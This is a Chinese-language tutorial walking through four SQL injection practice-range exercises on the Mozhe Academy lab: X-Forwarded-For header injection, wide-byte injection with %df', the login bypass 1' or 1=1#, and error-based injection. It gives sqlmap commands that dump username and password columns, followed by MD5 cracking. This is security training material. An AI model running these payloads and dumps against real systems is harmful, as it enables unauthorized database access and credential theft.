Web安全 SQL注入漏洞 (1)
2022/2/13 19:17:16
本文主要是介绍Web安全 SQL注入漏洞 (1),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
SQL注入的原理:有些恶意用户的,在提交查询请求的过程中 将SQL语句插入到请求内容中,同时程序的本身对用户输入的内容过于相信,没有对用户插入的SQL语句进行任何的过滤,从而导致SQL语句直接被服务端执行.
测试的内容:(1)伪造 http 头部的文件注入.
(2)宽字节注入漏洞的利用
(3)任意密码登录,构造语句绕过
(4)对登录页面进行 sql 注入测试
测试机:kali 链接:https://pan.baidu.com/s/1ZKvP-CFYcmhFw3ol5ul4bg
提取码:tian
靶场是:墨者学院的在线靶场:墨者学院_专注于网络安全人才培养
1. 通过伪造 http 头部信息,绕过服务器对于 ip 地址的限制,再找到注入点 拿到账号和密码.
第一步:来到登录页面.
第二步:随便输入一个账号和密码.
发现登录失败.
第三步:用Burp抓包.
添加:x-forwarded-for:1.1.1.1
发现返回的是自己的添加地址1.1.1.1(说明:这里有SQL注入)
第四步:添加:x-forwarded-for:* 保存为txt文件.
第五步:用sqlmap扫描 保存的1.txt文件.
命令:sqlmap -r /root/1.txt --batch --current-db
【--batch 】:默认sqlmap工具提出的(是否)为:y 【--current-db】:显示当前使用的数据库.
找到 x-forwarded-for 的注入点
第六步:查看数据库中的所有的表.
命令:sqlmap -r /root/1.txt --batch --tables -D "webcalendar"
【--tables -D "webcalendar"】:把webcalendar数据库中的所有的表显示出来.
发现 webcalendar 数据库中有二个表.
第七步:查看表中所有的列表.
命令:sqlmap -r /root/1.txt --batch --columns -T "user"
【--columns -T 'user'】:把user表中的所有列显示出来.
发现 user 表中有三行列表.
第八步:查看列表中的内容
命令:sqlmap -r /root/1.txt --batch --dump -C "username,password"
【--dump -C "username,password"】:把 username 和 password 列的中的内容显示出来.
可以看到里面的内容是账号和密码.
第九步:有账号和密码去登录就可以拿到flag .
2. 登录界面存在 sql 宽字节注入漏洞,尝试输入特殊字符,使页面报错,验证其存在 sql 注入,然后利用宽字节注入漏洞找到登录的账号和密码.
第一步:来到登录页面.
试过随便填账号密码,发现不行. 然后查看页面源代码,发现有一条超链接.
第二步: 文本超链接在这然后点击.
来到注入页面.
第三步:输入%df',使页面报错. (验证存在 SQL宽字节注入漏洞)
SQL宽字节注入原理分析: addslashes() 这个函数会将'转义为\
gbk编码的时候 %df 和 \ 的编码 %5c 合并为一个字符運
从而 ' 可以逃逸
第四步:使用sqlmap(sqlmap中也宽字节插件)
命令:sqlmap -u "http://219.153.49.228:42218/new_list.php?id=1" --tamper=unmagicquotes.py --batch --dbs
【--tamper=unmagicquotes.py】是:sqlmap中的宽字节插件 【--dbs】是:显示所有数据库.
找到有5个数据库.
第五步:查看 mozhe_discuz_stormgroup 数据库中的所有表.
命令:sqlmap -u "http://219.153.49.228:42218/new_list.php?id=1" --tamper=unmagicquotes.py --batch --tables -D "mozhe_discuz_stormgroup"
【--tables -D "mozhe_discuz_stormgroup"】:把 mozhe_discuz_stormgroup 数据库中的所有的表显示出来.
找到有二个表( noticw 和 stormgroup_member ).
第六步:查看这个二个 notice ,stormgroup_member 表中的内容
命令:sqlmap -u "http://219.153.49.228:42218/new_list.php?id=1" --tamper=unmagicquotes.py --batch --columns -T "notice,stormgroup_member"
【--columns -T "notice,stormgroup_member"】:把 notice 和 stormgroup_member 表中的所有列显示出来.
找到 notice 和 stormgroup_member 表的列.
第七步:我们发现 stormgroup_member 表中有账号和密码的列,所有我们查看 stormgroup_member 的内容
命令: sqlmap -u "http://219.153.49.228:42218/new_list.php?id=1" --tamper=unmagicquotes.py --batch --dump -C "name,password"
【--dump -C "name,password"】:把 name 和 password 列的中的内容显示出来.
找到账号和密码(密码被md5加密了)
第八步:用md5解密就行.( 然后用账号和密码去登录就行)
3. 登录界面存在任意密码登录,构造语句绕过服务器端验证,并对登录成功.
第一步:来到登录页面.
随便输入账号和密码,发现登录失败.
第二步:测试是否存在 任意密码登录,所有我们使用万能密码.
(1)在账号输入:1' or 1=1#
(2)密码:随便输入或者是为空
登录成功(拿到flag ):
4. 对登录页面进行 sql 注入测试,获取到当前所在数据库的账号和密码.
第一步:点击超链接的位置.
进来的页面,发现链接有?id=1
第二步:用 sqlmap 工具查找是否存在 SQL 漏洞
命令: sqlmap -u "http://219.153.49.228:49655/new_list.php?id=1" --batch --current-db
【--batch 】:默认sqlmap工具提出的(是否)为:y 【--current-db】:显示当前使用的数据库.
找到四个注入点 和 当前数据库的名字.
第三步:查看 mozhe_discuz_stormgroup 数据库中的所有表.
命令:sqlmap -u "http://219.153.49.228:49655/new_list.php?id=1" --batch --tables -D "mozhe_discuz_stormgroup"
【--tables -D "mozhe_discuz_stormgroup"】:把 mozhe_discuz_stormgroup 数据库中的所有的表显示出来.
找到 mozhe_discuz_stormgroup 数据库中二个表.
第四步:查看 stormgroup_member 表中的所有列
命令:sqlmap -u "http://219.153.49.228:49655/new_list.php?id=1" --batch --columns -T "stormgroup_member"
【--columns -T "stormgroup_member"】:把 stormgroup_member 表中的所有列显示出来.
找到 stormgroup_member 表有三个列.
第五步:查看 name 和 password 这两列的内容.
命令:sqlmap -u "http://219.153.49.228:49655/new_list.php?id=1" --batch --dump -C "name,password"
【--dump -C "name,password"】:把 name 和 password 列的中的内容显示出来.
找到账号和密码(密码被md5加密了)(账号和密码也和 第二题 一模一样)
第六步: 用md5解密就行.( 然后用账号和密码去登录就行)
第一题的靶场: X-Forwarded-For注入漏洞实战_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养 第二题的靶场: SQL注入漏洞测试(宽字节)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养 第三题的靶场: SQL注入漏洞测试(登录绕过)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养 第四题的靶场: SQL注入漏洞测试(报错盲注)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养这篇关于Web安全 SQL注入漏洞 (1)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-27OpenFeign服务间调用学习入门
- 2024-12-27OpenFeign服务间调用学习入门
- 2024-12-27OpenFeign学习入门:轻松掌握微服务通信
- 2024-12-27OpenFeign学习入门:轻松掌握微服务间的HTTP请求
- 2024-12-27JDK17新特性学习入门:简洁教程带你轻松上手
- 2024-12-27JMeter传递token学习入门教程
- 2024-12-27JMeter压测学习入门指南
- 2024-12-27JWT单点登录学习入门指南
- 2024-12-27JWT单点登录原理学习入门
- 2024-12-27JWT单点登录原理学习入门